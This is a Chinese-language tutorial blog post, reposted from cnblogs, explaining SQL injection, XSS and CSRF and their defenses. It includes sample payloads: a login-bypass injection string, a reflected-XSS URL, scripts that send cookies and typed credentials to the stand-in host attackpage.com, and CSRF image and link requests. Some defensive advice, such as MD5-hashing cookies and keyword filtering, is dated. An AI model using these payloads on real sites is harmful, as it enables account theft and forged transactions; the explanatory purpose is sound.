Web攻防之XSS,CSRF,SQL注入

 copy to:https://www.cnblogs.com/drawwindows/archive/2013/03/11/2954259.html

 

摘要：對Web服務器的攻擊也能夠說是形形色色、種類繁多，常見的有掛馬、SQL注入、緩衝區溢出、嗅探、利用IIS等針對Webserver漏洞進行攻擊。本文結合WEB TOP10漏洞中常見的SQL注入，跨站腳本攻擊(XSS)，跨站請求僞造（CSRF）攻擊的產生原理，介紹相應的防範方法。

關鍵字：SQL注入，XSS，CSRF

1.SQL注入

　　所謂SQL注入式攻擊，就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串，欺騙服務器執行惡意的SQL命令。 攻擊者經過在應用程序預先定義好的SQL語句結尾加上額外的SQL語句元素，欺騙數據庫服務器執行非受權的查詢,篡改命令。

　　它可以輕易的繞過防火牆直接訪問數據庫，甚至可以得到數據庫所在的服務器的系統權限。在Web應用漏洞中，SQL Injection 漏洞的風險要高過其餘全部的漏洞。

　　攻擊原理

 

　　假設的登陸查詢

　　SELECT * FROM  users  WHERE login = 'victor' AND password = '123

　　Sever端代碼

　　String sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

　　輸入字符

　　formusr = ' or 1=1

　　formpwd = anything

　　實際的查詢代碼

　　SELECT * FROM users WHERE username = ' ' or 1=1  AND password = 'anything'  

 

　　發現注入點簡單辦法

　　1.尋找帶有查詢字符串的url的網頁(例如，查詢那些在URL裏帶有"id=" 的URL)。

　　2.向這個網站發送一個請求，改變其中的id=語句，帶一個額外的單引號（例如：id=123’）。

　　3.查看返回的內容，在其中查找「sql」，「statement」等關鍵字（這也說明返回了具體的錯誤信息，這自己就很糟糕）。以下圖：

　　4.錯誤消息是否表示發送到SQL服務器的參數沒有被正確編碼果如此，那麼表示可對該網站進行SQL注入攻擊。

　　如何防範SQL注入攻擊

　　一個常見的錯誤是，假如你使用了存儲過程或ORM，你就徹底不受SQL注入攻擊之害了。這是不正確的，你仍是須要肯定在給存儲過程傳遞數據時你很謹慎，或在用ORM來定製一個查詢時，你的作法是安全的。

　　參數化查詢已被視爲最有效的可防護SQL注入攻擊的防護方式。目前主流的ORM 框架都內置支持而且推薦使用這種方式進行持久層封裝。

　　所謂的參數化查詢（Parameterized Query 或 Parameterized Statement）是指在設計與數據庫連接並訪問數據時，在須要填入數值或數據的地方，使用參數 (Parameter) 來給值。

　　　　例：      
　　　　SELECT * FROM myTable WHERE myID = @myID

　　　　INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)或者INSERT INTO myTable (c1, c2, c3, c4) VALUES(?,?,?,?)

　　經過(?)指定佔位符，固然在添加參數的時候，必須按照(c1, c2, c3, c4)的順序來添加，不然會出錯。

 

2.跨站腳本攻擊(XSS)

　　XSS 全稱(Cross Site Scripting) 跨站腳本攻擊， 是Web程序中最多見的漏洞。指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 當用戶瀏覽此網頁時，腳本就會在用戶的瀏覽器上執行，從而達到攻擊者的目的.  好比獲取用戶的Cookie，導航到惡意網站,攜帶木馬等。

　　攻擊原理

　　假如頁面有以下一個輸入框

　　<input type="text" name="record" value="沙發">

　　【沙發】是來自用戶的輸入，若是用戶輸入的是"onfocus="alert(document.cookie)

　　那麼就會變成 

　　<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

　　 事件被觸發的時候嵌入的JavaScript代碼將會被執行

　　 攻擊的威力，取決於用戶輸入了什麼樣的腳本。

　　XSS分類

　　1. 反射型XSS

　　反射型XSS，又稱非持久型XSS。之因此稱爲反射型XSS，則是由於這種攻擊方式的注入代碼是從目標服務器經過錯誤信息、搜索結果等等方式「反射」回來的。而稱爲非持久型XSS，則是由於這種攻擊方式具備一次性。攻擊者經過電子郵件等方式將包含注入腳本的惡意連接發送給受害者，當受害者點擊該連接時，注入腳本被傳輸到目標服務器上，而後服務器將注入腳本「反射」到受害者的瀏覽器上，從而在該瀏覽器上執行了這段腳本。

好比攻擊者將以下連接發送給受害者：

http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>

當受害者點擊這個連接的時候，注入的腳本被看成搜索的關鍵詞發送到目標服務器的search.asp頁面中，則在搜索結果的返回頁面中，這段腳本將被看成搜索的關鍵詞而嵌入。這樣，當用戶獲得搜索結果頁面後，這段腳本也獲得了執行。這就是反射型XSS攻擊的原理，能夠看到，攻擊者巧妙地經過反射型XSS的攻擊方式，達到了在受害者的瀏覽器上執行腳本的目的。因爲代碼注入的是一個動態產生的頁面而不是永久的頁面，所以這種攻擊方式只在點擊連接的時候才產生做用，這也是它被稱爲非持久型XSS的緣由

　　2.存儲型XSS

　　　存儲型XSS，又稱持久型XSS，他和反射型XSS最大的不一樣就是，攻擊腳本將被永久地存放在目標服務器的數據庫和文件中。這種攻擊多見於論壇，攻擊者在發帖的過程當中，將惡意腳本連同正常信息一塊兒注入到帖子的內容之中。隨着帖子被論壇服務器存儲下來，惡意腳本也永久地被存放在論壇服務器的後端存儲器中。當其它用戶瀏覽這個被注入了惡意腳本的帖子的時候，惡意腳本則會在他們的瀏覽器中獲得執行，從而受到了攻擊。

　　Xss危害

　　1.盜取cookie

　　　　經過XSS攻擊，因爲注入代碼是在受害者的瀏覽器上執行，所以可以很方便地竊取到受害者的Cookie信息。好比，咱們只要注入相似以下的代碼：

　　<script>location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)</script>

　　　　當受害者的瀏覽器執行這段腳本的時候，就會自動訪問攻擊者創建的網站www.attackpage.com，打開其中的recourd.asp，將受害者瀏覽器的Cookie信息給記錄下來。這樣，攻擊者就獲得了用戶的Cookie信息。

　　　　獲得受害者的Cookie信息後，攻擊者能夠很方便地冒充受害者，從而擁有其在目標服務器上的全部權限，至關於受害者的身份認證被竊取了。

　　2.釣魚攻擊

　　　　所謂釣魚攻擊就是構建一個釣魚頁面，誘騙受害者在其中輸入一些敏感信息，而後將其發送給攻擊者。利用XSS的注入腳本，咱們也能夠很方便地注入釣魚頁面的代碼，從而引導釣魚攻擊。好比下面這樣一段代碼：

　　<script>

　　function hack(){ 
　　　　location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value + "password=" + document.forms[0].pass.value);
　　}

　　</script>
　　<form>
　　<br> <H3>此功能須要登陸:</H3 > 
　　<br><br>請輸入用戶名：<br> 
　　<input type=」text」 id=」user」name=」user」>
　　<br>請輸入密碼：<br>
　　<input type=」password」 name =「pass」>
　　<br><input type=」submit」name=」login」 value=」登陸」onclick=」hack()」>
　　</form>

 

 

　　　　注入上面的代碼後，則會在原來的頁面上，插入一段表單，要求用戶輸入本身的用戶名和密碼，而當用戶點擊「登陸」按鈕後，則會執行hack()函數，將用戶的輸入發送到攻擊者指定的網站上去。這樣，攻擊者就成功竊取了該用　　　戶的帳號信息。和通常的釣魚攻擊不一樣，XSS引導的釣魚攻擊因爲是對用戶信任的網站頁面進行修改的。

　　3.   CSRF攻擊

　　　　好比咱們注入以下的HTML代碼：

　　 <imgsrc = 「http://www.bank.com/transfer.do?toAct=123456&money=10000>

        　　 假如上面的代碼中所訪問的是某個銀行網站的轉帳服務，則當受害者的瀏覽器運行這段腳本時，就會向攻擊者指定的帳戶（示例的123456）執行轉帳操做。因爲這個轉帳請求是在受害者的瀏覽器中運行的，所以瀏覽器也會自　　　　 動將受害者的Cookie信息一併發送。這樣，發送的請求就好像是受害者本身發送的同樣，銀行網站也將承認這個請求的合法性，攻擊者也就達到了僞造請求的目的。

　　4.傳播惡意軟件

　　　　　　除了直接注入惡意腳本之外，經過XSS攻擊，攻擊者也能夠很方便地在腳本中引入一些惡意軟件，好比病毒、木馬、蠕蟲等等。例如，攻擊者能夠在某個本身創建的頁面上放置一些惡意軟件，而後用XSS注入的方式，插入一　　　　段引用該頁面的腳本。這樣當受害者的瀏覽器執行這段腳本的時候，就會自動訪問放置了惡意軟件的頁面，從而受到這些惡意軟件的感染。

　　XSS的預防

　　1. 輸入過濾

         　　對用戶的全部輸入數據進行檢測，好比過濾其中的「<」、「>」、「/」等可能致使腳本注入的特殊字符，或者過濾「script」、「javascript」等腳本關鍵字，或者對輸入數據的長度進行限制等等。同時，咱們也要考慮用戶可能繞開　　　　ASCII碼，使用十六進制編碼來輸入腳本。所以，對用戶輸入的十六進制編碼，咱們也要進行相應的過濾。只要可以嚴格檢測每一處交互點，保證對全部用戶可能的輸入都進行檢測和XSS過濾，就可以有效地阻止XSS攻擊。

　　2. 輸出編碼

         　　經過前面對XSS攻擊的分析，咱們能夠看到，之因此會產生XSS攻擊，就是由於Web應用程序將用戶的輸入直接嵌入到某個頁面當中，做爲該頁面的HTML代碼的一部分。所以，當Web應用程序將用戶的輸入數據輸出到目標　　　　頁面中時，只要用HtmlEncoder等工具先對這些數據進行編碼，而後再輸出到目標頁面中。這樣，若是用戶輸入一些HTML的腳本，也會被當成普通的文字，而不會成爲目標頁面HTML代碼的一部分獲得執行。

　　3. Cookie防盜

　　　　利用XSS攻擊，攻擊者能夠很方便地竊取到合法用戶的Cookie信息。所以，對於Cookie，咱們能夠採起如下的措施。首先，咱們要儘量地避免在Cookie中泄露隱私，如用戶名、密碼等；其次，咱們能夠將Cookie信息利用MD5等Hash算法進行屢次散列後存放；再次，爲了防止重放攻擊，咱們也能夠將Cookie和IP進行綁定，這樣也能夠阻止攻擊者冒充正經常使用戶的身份。

 

         做爲一名普通的網絡用戶，在XSS攻擊的預防上咱們能夠採起如下措施。首先，咱們不要輕易相信電子郵件或者網頁中的不明連接，這些連接頗有可能引導反射型XSS攻擊或者使咱們訪問到一些不安全的網頁。其次，咱們在沒必要要的時候能夠禁用腳本功能，這樣XSS注入的腳本就沒法獲得運行。

3.   CSRF 攻擊

　　CSRF（Cross-site request forgery），中文名稱：跨站請求僞造，也被稱爲：one click attack/session riding，縮寫爲：CSRF/XSRF。

你這能夠這麼理解CSRF攻擊：攻擊者盜用了你的身份，以你的名義發送惡意請求。CSRF可以作的事情包括：以你名義發送郵件，發消息，盜取你的帳號，甚至於購買商品，虛擬貨幣轉帳......形成的問題包括：我的隱私泄露以及財產安全。

　　CSRF漏洞現狀

　　　　　CSRF這種攻擊方式在2000年已經被國外的安全人員提出，但在國內，直到06年纔開始被關注，08年，國內外的多個大型社區和交互網站分別爆出CSRF漏洞，如：NYTimes.com（紐約時報）、Metafilter（一個大型BLOG網站），YouTube和百度HI......而如今，互聯網上的許多站點仍對此毫無防備，以致於安全業界稱CSRF爲「沉睡的巨人」。

　　原理

　　網站A ：爲惡意網站。

　　網站B ：用戶已登陸的網站。

　　當用戶訪問 A站 時，A站 私自訪問 B站 的操做連接，模擬用戶操做。

　　假設B站有一個刪除評論的連接：http://b.com/comment/?type=delete&id=81723

　　A站 直接訪問該連接，就能刪除用戶在 B站 的評論。

　　CSRF 防護技巧

　　1.驗證碼

　　　　幾乎全部人都知道驗證碼，但驗證碼不僅僅用來防止註冊機的暴力破解，還能夠有效防止CSRF的攻擊。驗證碼算是對抗CSRF攻擊最簡潔有效的方法。但使用驗證碼的問題在於，不可能在用戶的全部操做上都須要輸入驗證碼.只有一些關鍵的操做，才能要求輸入驗證碼。不過隨着HTML5的發展。利用canvas標籤，前端也能識別驗證碼的字符，讓CSRF生效。

　　2.Token

　　　　CSRF能攻擊成功，根本緣由是：操做所帶的參數均被攻擊者猜想到。既然知道根本緣由，咱們就對症下藥，利用Token。當向服務器傳參數時，帶上Token。這個Token是一個隨機值，而且由服務器和用戶同時持有。當用戶提交表單時帶上Token值，服務器就能驗證表單和session中的Token是否一致。

         token生成示例代碼以下

　　

private static SecureRandom secureRandom=null;
public static String createToken() {
    if(secureRandom==null){
        String entoropy="LogonSessionEntoropy" + System.currentTimeMillis();
        try {
            secureRandom = SecureRandom.getInstance("SHA1PRNG");
        } catch (NoSuchAlgorithmException e) {
            throw new RuntimeException(e);
        }
        secureRandom.setSeed(entoropy.getBytes());
    }
    byte bytes[]=new byte[16];
    secureRandom.nextBytes(bytes);
    byte[] base64Bytes = Base64.encode(bytes);
    return new String(base64Bytes);
}